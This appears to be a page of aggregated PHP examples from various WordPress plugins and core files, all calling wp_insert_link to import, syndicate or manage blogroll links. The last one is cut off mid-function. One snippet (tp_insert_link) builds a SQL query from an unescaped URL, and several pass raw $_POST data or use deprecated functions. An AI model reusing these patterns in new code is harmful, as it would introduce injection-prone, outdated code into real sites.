Beispiel #1
0
 /**
  * Insert plugin link into Blogroll
  *
  * @return void
  */
 function link_insert($config)
 {
     $support = $config->get_string('common.support');
     $matches = null;
     if ($support != '' && preg_match('~^link_category_(\\d+)$~', $support, $matches)) {
         require_once ABSPATH . 'wp-admin/includes/bookmark.php';
         wp_insert_link(array('link_url' => W3TC_LINK_URL, 'link_name' => W3TC_LINK_NAME, 'link_category' => array((int) $matches[1]), 'link_rel' => 'nofollow'));
     }
 }
 public function test_deleted_link_action()
 {
     $this->instantiate_link_manager('link.php');
     $args = array("link_url" => 'http://test.com', "link_name" => 'The link name', "link_description" => 'The link description');
     $link_id = wp_insert_link($args);
     $link = get_bookmark($link_id);
     $package = $this->lm_helper->get_package($link, 'link');
     $this->assertTrue($this->package_exist_in_DB($package));
     $this->lm->deleted_link_action($link_id);
     $this->assertFalse($this->package_exist_in_DB($package));
 }
 public function test_adding_bookmark_should_bust_get_bookmarks_cache()
 {
     global $wpdb;
     $bookmarks = self::factory()->bookmark->create_many(2);
     // Prime cache.
     $found1 = get_bookmarks(array('orderby' => 'link_id'));
     $num_queries = $wpdb->num_queries;
     $bookmarks[] = wp_insert_link(array('link_name' => 'foo', 'link_url' => 'http://example.com'));
     $found2 = get_bookmarks(array('orderby' => 'link_id'));
     $this->assertEqualSets($bookmarks, wp_list_pluck($found2, 'link_id'));
     $this->assertTrue($num_queries < $wpdb->num_queries);
 }
function nn_add_link($blog_id, $user_id, $domain, $path, $site_id, $meta)
{
    $blog_details = get_blog_details($blog_id);
    if (preg_match("/.*Test.*/i", $blog_details->blogname)) {
        /*
         * We don't create links to test sites
         */
        return;
    } elseif (link_exists($domain)) {
        return;
    } elseif (preg_match("/^Nerd Nite (.*)\$/", $blog_details->blogname, $matches)) {
        $city_name = strtolower($matches[1]);
        $term = get_term_by('slug', 'nerdnite', 'link_category');
        $linkdata = array('link_name' => $city_name, 'link_url' => $domain, 'link_category' => $term->term_id, 'link_rel' => 'friend');
        wp_insert_link($linkdata);
    }
    return;
}
Beispiel #5
0
 function add_link($args)
 {
     extract($args);
     $params['link_url'] = esc_html($url);
     $params['link_url'] = esc_url($params['link_url']);
     $params['link_name'] = esc_html($name);
     $params['link_id'] = '';
     $params['link_description'] = $description;
     $params['link_target'] = $link_target;
     $params['link_category'] = array();
     //Add Link category
     if (is_array($link_category) && !empty($link_category)) {
         $terms = get_terms('link_category', array('hide_empty' => 0));
         if ($terms) {
             foreach ($terms as $term) {
                 if (in_array($term->name, $link_category)) {
                     $params['link_category'][] = $term->term_id;
                     $link_category = $this->remove_element($link_category, $term->name);
                 }
             }
         }
         if (!empty($link_category)) {
             foreach ($link_category as $linkkey => $linkval) {
                 if (!empty($linkval)) {
                     $link = wp_insert_term($linkval, 'link_category');
                     if (isset($link['term_id']) && !empty($link['term_id'])) {
                         $params['link_category'][] = $link['term_id'];
                     }
                 }
             }
         }
     }
     //Add Link Owner
     $user_obj = get_userdatabylogin($user);
     if ($user_obj && $user_obj->ID) {
         $params['link_owner'] = $user_obj->ID;
     }
     if (!function_exists('wp_insert_link')) {
         include_once ABSPATH . 'wp-admin/includes/bookmark.php';
     }
     $is_success = wp_insert_link($params);
     return $is_success ? true : array('error' => 'Failed to add link.', 'error_code' => 'failed_to_add_link');
 }
function wp_update_link($linkdata)
{
    global $wpdb;
    $link_id = (int) $linkdata['link_id'];
    $link = get_link($link_id, ARRAY_A);
    // Escape data pulled from DB.
    $link = add_magic_quotes($link);
    // Passed link category list overwrites existing category list if not empty.
    if (isset($linkdata['link_category']) && is_array($linkdata['link_category']) && 0 != count($linkdata['link_category'])) {
        $link_cats = $linkdata['link_category'];
    } else {
        $link_cats = $link['link_category'];
    }
    // Merge old and new fields with new fields overwriting old ones.
    $linkdata = array_merge($link, $linkdata);
    $linkdata['link_category'] = $link_cats;
    return wp_insert_link($linkdata);
}
			if ( $blogrolling === true ) {
				$opml = wp_remote_fopen($opml_url);
			} else {
				$opml = file_get_contents($opml_url);
			}
			
			include_once('link-parse-opml.php');

			$link_count = count($names);
			for ( $i = 0; $i < $link_count; $i++ ) {
				if ('Last' == substr($titles[$i], 0, 4))
					$titles[$i] = '';
				if ( 'http' == substr($titles[$i], 0, 4) )
					$titles[$i] = '';
				$link = array( 'link_url' => $urls[$i], 'link_name' => $wpdb->escape($names[$i]), 'link_category' => array($cat_id), 'link_description' => $wpdb->escape($descriptions[$i]), 'link_owner' => $user_ID, 'link_rss' => $feeds[$i]);
				wp_insert_link($link);
				echo sprintf('<p>'.__('Inserted <strong>%s</strong>').'</p>', $names[$i]);
			}
?>

<p><?php printf(__('Inserted %1$d links into category %2$s. All done! Go <a href="%3$s">manage those links</a>.'), $link_count, $cat_id, 'link-manager.php') ?></p>

<?php
} // end if got url
else
{
	echo "<p>" . __("You need to supply your OPML url. Press back on your browser and try again") . "</p>\n";
} // end else

if ( ! $blogrolling )
	apply_filters( 'wp_delete_file', $opml_url); 
Beispiel #8
0
function tp_insert_link($data)
{
    global $wpdb;
    $link_id = $wpdb->get_var("SELECT link_id FROM {$wpdb->links} WHERE link_url='" . $data['link_url'] . "'");
    if ($link_id == null) {
        $link_id = wp_insert_link($data);
    }
    update_option('tp_link_id', $link_id);
}
Beispiel #9
0
 function links2wp($links = '')
 {
     // General Housekeeping
     global $wpdb;
     $count = 0;
     // Deal with the links
     if (is_array($links)) {
         echo '<p>' . __('Importing Links...') . '<br /><br /></p>';
         foreach ($links as $link) {
             $count++;
             extract($link);
             if ($title != "") {
                 if ($cinfo = is_term(csc($title), 'link_category')) {
                     $category = $cinfo['term_id'];
                 } else {
                     $category = wp_insert_term($wpdb->escape(csc($title)), 'link_category');
                     $category = $category['term_id'];
                 }
             } else {
                 $linkname = $wpdb->escape(csc($label));
                 $description = $wpdb->escape(csc($title));
                 if ($linfo = link_exists($linkname)) {
                     $ret_id = wp_insert_link(array('link_id' => $linfo, 'link_url' => $href, 'link_name' => $linkname, 'link_category' => $category, 'link_description' => $description));
                 } else {
                     $ret_id = wp_insert_link(array('link_url' => $url, 'link_name' => $linkname, 'link_category' => $category, 'link_description' => $description));
                 }
                 $dclinks2wplinks[$link_id] = $ret_id;
             }
         }
         add_option('dclinks2wplinks', $dclinks2wplinks);
         echo '<p>';
         printf(__('Done! <strong>%s</strong> links or link categories imported'), $count);
         echo '<br /><br /></p>';
         return true;
     }
     echo __('No Links to Import!');
     return false;
 }
 function syndicate_link($name, $uri, $rss)
 {
     // Get the category ID#
     $cat_id = FeedWordPress::link_category_id();
     if (!is_wp_error($cat_id)) {
         $link_category = array($cat_id);
     } else {
         $link_category = array();
     }
     // WordPress gets cranky if there's no homepage URI
     if (!is_string($uri) or strlen($uri) < 1) {
         $uri = $rss;
     }
     // Check if this feed URL is already being syndicated.
     $link_id = wp_insert_link(array("link_id" => FeedWordPress::find_link($rss), "link_rss" => $rss, "link_name" => $name, "link_url" => $uri, "link_category" => $link_category, "link_visible" => 'Y'));
     return $link_id;
 }
 function process()
 {
     global $wp_rewrite, $wpcc_options;
     $langs = array();
     foreach ($this->langs as $key => $value) {
         if (isset($_POST['wpcco_variant_' . $key])) {
             $langs[] = $key;
         }
     }
     $options = array('wpcc_used_langs' => $langs, 'wpcc_search_conversion' => intval($_POST['wpcco_search_conversion']), 'wpcc_browser_redirect' => intval($_POST['wpcco_browser_redirect']), 'wpcc_use_cookie_variant' => intval($_POST['wpcco_use_cookie_variant']), 'wpcc_use_fullpage_conversion' => isset($_POST['wpcco_use_fullpage_conversion']) ? 1 : 0, 'wpcc_trackback_plugin_author' => isset($_POST['wpcco_trackback_plugin_author']) ? intval($_POST['wpcco_trackback_plugin_author']) : 0, 'wpcc_add_author_link' => isset($_POST['wpcco_add_author_link']) ? 1 : 0, 'wpcc_use_permalink' => intval($_POST['wpcco_use_permalink']), 'wpcc_auto_language_recong' => isset($_POST['wpcco_auto_language_recong']) ? 1 : 0, 'wpcc_no_conversion_tag' => trim($_POST['wpcco_no_conversion_tag'], " \t\n\r\v,|"), 'wpcc_no_conversion_ja' => isset($_POST['wpcco_no_conversion_ja']) ? 1 : 0, 'wpcc_no_conversion_qtag' => isset($_POST['wpcco_no_conversion_qtag']) ? 1 : 0, 'nctip' => trim($_POST['wpcco_no_conversion_tip']));
     foreach ($this->langs as $lang => $value) {
         if (!empty($_POST[$value[1]])) {
             $options[$value[1]] = trim($_POST[$value[1]]);
         }
     }
     if ($this->get_cache_status() == 2 && empty($options['wpcc_browser_redirect']) && empty($options['wpcc_use_cookie_variant'])) {
         $this->uninstall_cache_module();
     }
     if ($options['wpcc_trackback_plugin_author'] == 1) {
         $options['wpcc_trackback_plugin_author'] = $this->trackback();
         if ($options['wpcc_trackback_plugin_author'] == 2) {
             $this->message .= '已成功向<a href="https://oogami.name/project/wpcc/" target="_blank">插件主页</a>发送Trackback。感谢您的支持。<br />';
         } else {
             $this->message .= '向<a href="https://oogami.name/project/wpcc/" target="_blank">插件主页</a>发送Trackback失败,你可以尝试重新提交。<br />';
         }
     }
     if ($options['wpcc_add_author_link'] == 1 && $this->options['wpcc_add_author_link'] == 0) {
         if ($options['wpcc_add_author_link'] = wp_insert_link(array('link_target' => '_blank', 'link_description' => '小野大神的 Blog,关注文明与幻想。', 'link_rss' => 'https://oogami.name/feed/', 'link_name' => '小野大神', 'link_url' => 'https://oogami.name/'))) {
             $this->message .= '已成功添加<a href="https://oogami.name/" target="_blank">插件作者</a>的主页链接。感谢您的支持<br />';
         } else {
             $options['wpcc_add_author_link'] = 0;
             $this->message .= '添加插件作者主页链接失败。请重试。<br />';
         }
     } else {
         if ($options['wpcc_add_author_link'] == 0 && $this->options['wpcc_add_author_link'] != 0) {
             if (wp_delete_link($this->options['wpcc_add_author_link'])) {
                 $this->message .= '已删除插件作者的主页链接。<br />';
             }
         }
     }
     $wpcc_options = $options;
     //因为可能需要刷新rewrite规则, 必须立即更新wpcc_options全局变量
     if ($this->options['wpcc_use_permalink'] != $options['wpcc_use_permalink'] || $this->options['wpcc_use_permalink'] != 0 && $this->options['wpcc_used_langs'] != $options['wpcc_used_langs']) {
         if (!has_filter('rewrite_rules_array', 'wpcc_rewrite_rules')) {
             add_filter('rewrite_rules_array', 'wpcc_rewrite_rules');
         }
         $wp_rewrite->flush_rules();
     }
     update_option('wpcc_options', $options);
     $this->options = $options;
     $this->is_success = true;
     $this->message .= '<br />设置已更新。';
 }
function edit_link( $link_id = '' ) {
	if (!current_user_can( 'manage_links' ))
		wp_die( __( 'Cheatin&#8217; uh?' ));

	$_POST['link_url'] = wp_specialchars( $_POST['link_url'] );
	$_POST['link_url'] = preg_match('/^(https?|ftps?|mailto|news|irc|gopher|nntp|feed|telnet):/is', $_POST['link_url']) ? $_POST['link_url'] : 'http://' . $_POST['link_url'];
	$_POST['link_name'] = wp_specialchars( $_POST['link_name'] );
	$_POST['link_image'] = wp_specialchars( $_POST['link_image'] );
	$_POST['link_rss'] = wp_specialchars( $_POST['link_rss'] );
	$_POST['link_category'] = $_POST['post_category'];

	if ( !empty( $link_id ) ) {
		$_POST['link_id'] = $link_id;
		return wp_update_link( $_POST);
	} else {
		return wp_insert_link( $_POST);
	}
}
 function syndicate_link($name, $uri, $rss)
 {
     global $wpdb;
     // Get the category ID#
     $cat_id = FeedWordPress::link_category_id();
     // WordPress gets cranky if there's no homepage URI
     if (!isset($uri) or strlen($uri) < 1) {
         $uri = $rss;
     }
     if (function_exists('wp_insert_link')) {
         // WordPress 2.x
         $link_id = wp_insert_link(array("link_name" => $name, "link_url" => $uri, "link_category" => fwp_test_wp_version(0, FWP_SCHEMA_21) ? $cat_id : array($cat_id), "link_rss" => $rss));
     } else {
         // WordPress 1.5.x
         $result = $wpdb->query("\n\t\t\tINSERT INTO {$wpdb->links}\n\t\t\tSET\n\t\t\t\tlink_name = '" . $wpdb->escape($name) . "',\n\t\t\t\tlink_url = '" . $wpdb->escape($uri) . "',\n\t\t\t\tlink_category = '" . $wpdb->escape($cat_id) . "',\n\t\t\t\tlink_rss = '" . $wpdb->escape($rss) . "'\n\t\t\t");
         $link_id = $wpdb->insert_id;
     }
     // if
     return $link_id;
 }
Beispiel #14
0
function demodata_create_link($blogdomain, $linkx)
{
    $link = array('link_id' => 0, 'link_name' => 'Bookmark ' . $linkx, 'link_url' => 'http://' . $blogdomain . '/#bookmark' . $linkx, 'link_rating' => 0);
    return wp_insert_link($link);
}
	function syndicate_link ($name, $uri, $rss) {
		// Get the category ID#
		$cat_id = FeedWordPress::link_category_id();
		if (!is_wp_error($cat_id)) :
			$link_category = array($cat_id);
		else :
			$link_category = array();
		endif;

		// WordPress gets cranky if there's no homepage URI
		if (!is_string($uri) or strlen($uri)<1) : $uri = $rss; endif;
		
		// Check if this feed URL is already being syndicated.
		$link_id = wp_insert_link(array(
		"link_id" => FeedWordPress::find_link($rss), // insert if nothing was found; else update
		"link_rss" => $rss,
		"link_name" => $name,
		"link_url" => $uri,
		"link_category" => $link_category,
		"link_visible" => 'Y', // reactivate if inactivated
		));

		return $link_id;
	} /* function FeedWordPress::syndicate_link() */
	function set_blog_defaults($blog_id, $user_id)
    {
		global $wp_rewrite, $wpdb, $current_site;
		
		
		
		switch_to_blog($blog_id);
		
		
		
		// get the site options 
		$options = get_site_option('cets_blog_defaults_options');
		
		
		// check for the blogname_flag and if it's 0, then delete the blogname option
		if ($options['blogname_flag'] == 0 && isset($options['blogname'])) {
			unset($options['blogname']);
		}
		
		// check for the blog_public setting and if it's blank, delete it
		if (strlen($options['blog_public']) == 0) {
			unset($options['blog_public']);
			
		}
		
		// bonus options - set these first and then unset each one so they don't clutter the database
		// Add User to Blog
		if ($options['add_user_to_blog'] == 1) {
			if(strlen($options['add_user_to_blog_id']) == 1) {
				add_user_to_blog( $options['add_user_to_blog_id'], $user_id, $options['add_user_to_blog_role'] );
			}
			elseif (strlen($options['add_user_to_blog_id']) > 1) {
				$blogs = explode(',', $options['add_user_to_blog_id']);
				foreach ($blogs as $blog){
					add_user_to_blog( $blog, $user_id, $options['add_user_to_blog_role'] );
				}
				
			}
			
			
		}
		unset($options['add_user_to_blog']);
		unset($options['add_user_to_blog_role']);
		unset($options['add_user_to_blog_id']);
		
		// Delete Links		
		if ($options['delete_blogroll_links'] == 1) {
			wp_delete_link(1); // documentation
			wp_delete_link(2); // wordpress blog
		 	wp_delete_link(3); //delete suggest ideas
    		wp_delete_link(4); //delete support forum
    		wp_delete_link(5); //delete plugins
    		wp_delete_link(6); //delete themes
    		wp_delete_link(7); //delete wp planet
		}
		unset($options['delete_blogroll_links']);
		
		// Default Category Name
		if (strlen($options['default_cat_name']) > 0){
			global $wpdb;
			$cat = $options['default_cat_name'];
			$slug = str_replace(' ', '-', strtolower($cat)); 
			$results = $wpdb->query( $wpdb->prepare("UPDATE $wpdb->terms SET name = %s, slug = %s  WHERE term_id = 1", $cat, $slug ) );	
			
		}
		unset($options['default_cat_name']);
		
		// Default Link Category
		if (strlen($options['default_link_cat']) > 0){
			global $wpdb;
			$cat = $options['default_link_cat'];
			$slug = str_replace(' ', '-', strtolower($cat)); 
			$results = $wpdb->query( $wpdb->prepare("UPDATE $wpdb->terms SET name = %s, slug = %s  WHERE term_id = 2", $cat, $slug ) );	
			
		}
		unset($options['default_link_cat']);
		
		//Delete First Comment
		if (isset($options['delete_first_comment']) && $options['delete_first_comment'] == 1){
			wp_delete_comment( 1 );
			
		}
		unset($options['delete_first_comment']);
		
		// Close Comments on Hello World
		if (isset($options['close_comments_on_hello_world']) && $options['close_comments_on_hello_world'] == 1){
			global $wpdb;
			$statement = "UPDATE $wpdb->posts SET comment_status = 'closed'  WHERE id = 1";
			
			$results = $wpdb->query( $statement );
			
			
		}
		unset($options['close_comments_on_hello_world']);
		
		// Close Comments on About Page
		if (isset($options['close_comments_on_about_page']) && $options['close_comments_on_about_page'] == 1){
			global $wpdb;
			$statement = "UPDATE $wpdb->posts SET comment_status = 'closed'  WHERE id = 2";
			
			$results = $wpdb->query( $statement );
			
			
		}
		unset($options['close_comments_on_about_page']);
		
		
		// Delete First Post
		if (isset($options['delete_first_post']) && $options['delete_first_post'] == 1){
			global $wpdb;
			$statement = "UPDATE $wpdb->posts SET post_status = 'draft'  WHERE id = 1";
			
			$results = $wpdb->query( $statement );
			
			
		}
		unset($options['delete_first_post']);
		
		// Delete Initial Widgets
		if (isset($options['delete_initial_widgets']) && $options['delete_initial_widgets'] == 1){
			delete_option('sidebars_widgets');
		}
		unset($options['delete_initial_widgets']);
		
		
		// Add Default Links
		if (isset($options['default_links']) && strlen($options['default_links'])){
			
			
			
			$links = explode("|+", $options['default_links']);
			
			foreach ($links as $link) {
				$thislink = explode('=>', $link);
				wp_insert_link(array('link_name' => $thislink[0], 'link_url' => $thislink[1]));
				
			}
			
		}
		unset($options['default_links']);
		
		// Add Default Categories
		if (isset($options['default_categories']) && strlen($options['default_categories'])){
			$cats = explode("|+", $options['default_categories']);
			
			
			foreach ($cats as $cat) {
				$thiscat = explode('=>', $cat);
				// get the id of the parent category
				$parentid = category_exists($thiscat[3]);
				
				$cat_array = array('cat_name'=>$thiscat[0], 'category_description'=>$thiscat[1], 'category_nicename'=> $thiscat[2], 'category_parent' => $parentid );
				
				
				
				wp_insert_category($cat_array, true);			
								
			}
			
		}
		unset($options['default_categories']);
		
		
		// deal with the themes
		if (! empty($options['theme'])) {
			// we want something other than the default theme
			$values= explode("|", $options['theme']);
			switch_theme($values[0], $values[1]);		
			//this is weird, but it would appear there might be a bug with switch theme in that it doesn't switch the current_theme. But if we kill it then the code runs to reset it.
			update_option('current_theme', '');
			
		
		}	
		
		unset($options['theme']);
		
		
		// End Bonus Options - now process all the "normal" options.
		foreach($options as $key => $value) {
			// update all the options (we know they should all be set because this runs after populate_options()
			update_option($key, $value);	
		}
		
		// run through the permalink options here and set the blog to use them
		if ( isset($options['permalink_structure']) || isset($options['category_base']) || isset($options['tag_base']) ) {
				$details = $wpdb->get_results( "SELECT * FROM {$wpdb->blogs} WHERE blog_id = $blog_id");
					if ( isset($options['permalink_structure']) ) {
						$permalink_structure = $options['permalink_structure'];
						if (! empty($permalink_structure) )
							$permalink_structure = preg_replace('#/+#', '/', '/' . $options['permalink_structure']);
						if( constant( 'VHOST' ) == 'no' && $permalink_structure != '' && $current_site->domain.$current_site->path == $details->domain.$details->path ) {
							$permalink_structure = '/blog' . $permalink_structure;
						}
						$wp_rewrite->set_permalink_structure($permalink_structure);
					}
				
					if ( isset($options['category_base']) ) {
						$category_base = $options['category_base'];
						if (! empty($category_base) )
							$category_base = preg_replace('#/+#', '/', '/' . $options['category_base']);
						if( constant( 'VHOST' ) == 'no' && $category_base != '' && $current_site->domain.$current_site->path == $details->domain.$details->path ) {
							$category_base = '/blog' . $category_base;
						}
						$wp_rewrite->set_category_base($category_base);
					}
				
					if ( isset($options['tag_base']) ) {
						$tag_base = $options['tag_base'];
						if (! empty($tag_base) )
							$tag_base = preg_replace('#/+#', '/', '/' . $options['tag_base']);
						if( constant( 'VHOST' ) == 'no' && $tag_base != '' && $current_site->domain.$current_site->path == $details->domain.$details->path ) {
							$tag_base = '/blog' . $tag_base;
						}
						$wp_rewrite->set_tag_base($tag_base);
					}
				}
				
				$permalink_structure = get_option('permalink_structure');
				$category_base = get_option('category_base');
				$tag_base = get_option( 'tag_base' );
				
				if ( (!file_exists($home_path.'.htaccess') && is_writable($home_path)) || is_writable($home_path.'.htaccess') )
					$writable = true;
				else
					$writable = false;
				
				if ($wp_rewrite->using_index_permalinks())
					$usingpi = true;
				else
					$usingpi = false;
				
				$wp_rewrite->flush_rules();
				// shouldn't have to do this - it should happen in the above code. But, maybe forcing it would work?
				update_option('rewrite_rules','');
			
			
		// end permalink mucking about
		
		
		
		
		restore_current_blog();
		
		
    	
    }
 function create_fwp_link_off_network()
 {
     if ($_POST['have-network'] === 'No' && $_POST['blog-feed']) {
         $fwp_link_category = get_terms('link_category', $args = 'name__like=Contributors');
         $linkdata = array("link_url" => $_POST['blog-feed'], "link_name" => $_POST['blog-feed'], "link_rss" => $_POST['blog-feed'], "link_category" => $fwp_link_category[0]->term_id);
         if (!function_exists('wp_insert_link')) {
             include_once ABSPATH . '/wp-admin/includes/bookmark.php';
         }
         wp_insert_link($linkdata, true);
     }
 }
Beispiel #18
0
	function links2wp($links='')
	{
		// General Housekeeping
		global $wpdb;
		$count = 0;

		// Deal with the links
		if(is_array($links))
		{
			echo '<p>'.__('Importing Links (Friends)...').'<br /><br /></p>';
			foreach($links as $link)
			{
				$count++;
				extract($link);

				// Make nice vars
				$category = $wpdb->escape("Blogroll");
				$linkname = utf8_decode($wpdb->escape($friend));
				$description = "";

				if($linfo = link_exists($linkname))
				{
					$ret_id = wp_insert_link(array(
								'link_id'			=> $linfo,
								'link_url'			=> $url,
								'link_name'			=> $linkname,
								'link_category'		=> $category,
								'link_description'	=> $description,
								'link_updated'		=> time())
								);
				}
				else
				{
					$ret_id = wp_insert_link(array(
								'link_url'			=> $url,
								'link_name'			=> $linkname,
								'link_category'		=> $category,
								'link_description'	=> $description,
								'link_updated'		=> time())
								);
				}
				$jawslinks2wplinks[$id] = $ret_id;
			}
			add_option('jawslinks2wplinks',$jawslinks2wplinks);
			echo '<p>';
			printf(__('Done! <strong>%s</strong> Links (Friends) imported'), $count);
			echo '<br /><br /></p>';
			return true;
		}
		echo __('No Links to Import!');
		return false;
	}
function edit_link( $link_id = '' ) {
	if (!current_user_can( 'manage_links' ))
		wp_die( __( 'Cheatin&#8217; uh?' ));

	$_POST['link_url'] = wp_specialchars( $_POST['link_url'] );
	$_POST['link_url'] = clean_url($_POST['link_url']);
	$_POST['link_name'] = wp_specialchars( $_POST['link_name'] );
	$_POST['link_image'] = wp_specialchars( $_POST['link_image'] );
	$_POST['link_rss'] = clean_url($_POST['link_rss']);
	$_POST['link_category'] = $_POST['post_category'];

	if ( !empty( $link_id ) ) {
		$_POST['link_id'] = $link_id;
		return wp_update_link( $_POST);
	} else {
		return wp_insert_link( $_POST);
	}
}
Beispiel #20
0
 /**
  * Import a single bookmark
  *
  * @param array $bookmark 
  * @return array
  */
 protected function import_bookmark($bookmark)
 {
     $local_bookmark = $this->get_bookmark_by_url($bookmark['link_url']);
     // process categories
     if (!empty($bookmark['link_category'])) {
         foreach ($bookmark['link_category'] as &$link_category) {
             $cat = get_term_by('slug', $link_category, 'link_category');
             // all taxonomies are imported before bookmarks, so this condition should never come up
             // even if it does, once these go atomic this'll be moot
             if (empty($cat) && !empty($this->batch_items['taxonomies']['link_category'][$link_category])) {
                 // link-category not present, perform import
                 $cat_args = $this->import_term($link_category);
                 $cat = get_term($cat_args['term_id'], $link_category['taxonomy']);
             }
             if (empty($cat)) {
                 $error = sprintf(__('Could not insert term category "%s" for bookmark "%s".', 'cf-deploy'), $link_category['name'], $bookmark['link_name']);
                 $this->add_import_message('bookmarks', '__error__', $error);
                 return false;
             } else {
                 $link_category = $cat->term_id;
             }
         }
     }
     if (!empty($local_bookmark)) {
         $bookmark['link_id'] = $local_bookmark->link_id;
         $result = wp_update_link($bookmark);
     } else {
         unset($bookmark['link_id']);
         $result = wp_insert_link($bookmark);
     }
     $item_change['bookmarks'][$bookmark['link_url']] = 'new';
     if (!empty($local_bookmark)) {
         foreach ($local_bookmark->link_category as &$_link_cat) {
             $_cat = get_term($_link_cat, 'link_category');
             $_link_cat = $_cat->slug;
         }
         $item_change['bookmarks'][$bookmark['link_url']] = get_object_vars($local_bookmark);
     }
     $this->log_item_change($item_change);
     if (!is_wp_error($result)) {
         $this->add_import_message('bookmarks', '__notice__', sprintf(__('Bookmark "%s" imported.', 'cf-deploy'), $bookmark['link_name']));
         return true;
     } else {
         $this->add_import_message('bookmarks', '__error__', sprintf(__('Bookmark "%s" not imported. Error: %s', 'cf-deploy'), $bookmark['link_name'], $result->get_error_message()));
         return false;
     }
 }
Beispiel #21
0
 function links2wp($links = '')
 {
     // General Housekeeping
     global $wpdb;
     $count = 0;
     // Deal with the links
     if (is_array($links)) {
         echo '<p>' . __('Importing Links...') . '<br /><br /></p>';
         foreach ($links as $link) {
             $count++;
             extract($link);
             // Make nice vars
             $category = $wpdb->escape($category);
             $linkname = $wpdb->escape($linkname);
             $description = $wpdb->escape($description);
             if ($linfo = link_exists($linkname)) {
                 $ret_id = wp_insert_link(array('link_id' => $linfo, 'link_url' => $url, 'link_name' => $linkname, 'link_category' => $category, 'link_description' => $description, 'link_updated' => $date));
             } else {
                 $ret_id = wp_insert_link(array('link_url' => $url, 'link_name' => $linkname, 'link_category' => $category, 'link_description' => $description, 'link_updated' => $date));
             }
             $txplinks2wplinks[$link_id] = $ret_id;
         }
         add_option('txplinks2wplinks', $txplinks2wplinks);
         echo '<p>';
         printf(_n('Done! <strong>%s</strong> link imported', 'Done! <strong>%s</strong> links imported', $count), $count);
         echo '<br /><br /></p>';
         return true;
     }
     echo __('No Links to Import!');
     return false;
 }
 function on_save_changes_settingssets()
 {
     //user permission check
     if (!current_user_can('manage_options')) {
         wp_die(__('Not allowed', 'link-library'));
     }
     //cross check the given referer
     check_admin_referer('link-library');
     $messages = array();
     $row = 0;
     $successfulimport = 0;
     $successfulupdate = 0;
     if (isset($_POST['importlinks'])) {
         wp_suspend_cache_addition(true);
         set_time_limit(600);
         global $wpdb;
         $handle = fopen($_FILES['linksfile']['tmp_name'], "r");
         if ($handle) {
             $skiprow = 1;
             while (($data = fgetcsv($handle, 5000, ",")) !== false) {
                 $row += 1;
                 if ($skiprow == 1 && isset($_POST['firstrowheaders']) && $row >= 2) {
                     $skiprow = 0;
                 } elseif (!isset($_POST['firstrowheaders'])) {
                     $skiprow = 0;
                 }
                 if (!$skiprow) {
                     if (count($data) == 16) {
                         if (!empty($data[5])) {
                             $existingcatquery = "SELECT t.term_id FROM " . $this->db_prefix() . "terms t, " . $this->db_prefix() . "term_taxonomy tt ";
                             $existingcatquery .= "WHERE t.name = '%s' AND t.term_id = tt.term_id AND tt.taxonomy = 'link_category'";
                             $existingcatqueryprepped = $wpdb->prepare($existingcatquery, esc_html($data[5]));
                             $existingcat = $wpdb->get_var($existingcatqueryprepped);
                             if (!$existingcat) {
                                 $newlinkcatdata = array("cat_name" => $data[5], "category_description" => "", "category_nicename" => esc_sql($data[5]));
                                 $newlinkcat = wp_insert_category($newlinkcatdata);
                                 $newcatarray = array("term_id" => $newlinkcat);
                                 $newcattype = array("taxonomy" => 'link_category');
                                 $wpdb->update($this->db_prefix() . 'term_taxonomy', $newcattype, $newcatarray);
                                 $newlinkcat = array($newlinkcat);
                             } else {
                                 $newlinkcat = array($existingcat);
                             }
                             $newrating = intval($data[14]);
                             if ($newrating < 0) {
                                 $newrating = 0;
                             } elseif ($newrating > 10) {
                                 $newrating = 10;
                             }
                             $newlinkid = '';
                             if (isset($_POST['updatesameurl'])) {
                                 $existing_link_query = "SELECT l.link_id FROM " . $this->db_prefix() . "links l ";
                                 $existing_link_query .= "WHERE l.link_url = '%s'";
                                 $existing_link_query_prepped = $wpdb->prepare($existing_link_query, esc_url($data[1]));
                                 $newlinkid = $wpdb->get_var($existing_link_query_prepped);
                             }
                             $newlink = array("link_name" => esc_html(stripslashes($data[0])), "link_url" => esc_url(stripslashes($data[1])), "link_rss" => esc_html(stripslashes($data[2])), "link_description" => esc_html(stripslashes($data[3])), "link_notes" => esc_html(stripslashes($data[4])), "link_category" => $newlinkcat, "link_visible" => $data[6], "link_image" => $data[11], "link_rating" => $newrating, "link_target" => $data[15]);
                             if (empty($newlinkid)) {
                                 $newlinkid = wp_insert_link($newlink);
                                 $successfulimport += 1;
                             } elseif (!empty($newlinkid)) {
                                 unset($newlink['link_url']);
                                 $newlink['link_id'] = $newlinkid;
                                 wp_update_link($newlink);
                                 $successfulupdate += 1;
                             }
                             if ($newlinkid != 0) {
                                 $extradatatable = $this->db_prefix() . "links_extrainfo";
                                 $nofollowvalue = $data[13] == 'Y' ? true : false;
                                 $existingextrainfo = "SELECT link_id FROM " . $extradatatable . " ";
                                 $existingextrainfo .= "WHERE link_id = '" . $newlinkid . "'";
                                 $existingextrainfoid = $wpdb->get_var($existingextrainfo);
                                 if (!empty($existingextrainfoid)) {
                                     $wpdb->update($extradatatable, array('link_second_url' => $data[7], 'link_telephone' => $data[8], 'link_email' => $data[9], 'link_reciprocal' => $data[10], 'link_textfield' => $data[12], 'link_no_follow' => $nofollowvalue), array('link_id' => $newlinkid));
                                 } elseif (empty($existingextrainfoid)) {
                                     $wpdb->insert($extradatatable, array('link_second_url' => $data[7], 'link_telephone' => $data[8], 'link_email' => $data[9], 'link_reciprocal' => $data[10], 'link_textfield' => $data[12], 'link_no_follow' => $nofollowvalue, 'link_id' => $newlinkid));
                                 }
                             }
                         } else {
                             $messages[] = '10';
                         }
                     } else {
                         $messages[] = '4';
                     }
                 }
             }
         }
         if (isset($_POST['firstrowheaders'])) {
             $row -= 1;
         }
         $messages[] = '9';
         wp_suspend_cache_addition(false);
     } elseif (isset($_POST['exportsettings'])) {
         $upload_dir = wp_upload_dir();
         if (is_writable($upload_dir['path'])) {
             $myFile = $upload_dir['path'] . "/SettingSet" . $_POST['settingsetid'] . "Export.csv";
             $fh = fopen($myFile, 'w') or die("can't open file");
             $sourcesettingsname = 'LinkLibraryPP' . $_POST['settingsetid'];
             $sourceoptions = get_option($sourcesettingsname);
             $headerrow = array();
             foreach ($sourceoptions as $key => $option) {
                 $headerrow[] = '"' . $key . '"';
             }
             $headerdata = join(',', $headerrow) . "\n";
             fwrite($fh, $headerdata);
             $datarow = array();
             foreach ($sourceoptions as $key => $option) {
                 $datarow[] = '"' . $option . '"';
             }
             $data = join(',', $datarow) . "\n";
             fwrite($fh, $data);
             fclose($fh);
             if (file_exists($myFile)) {
                 header('Content-Description: File Transfer');
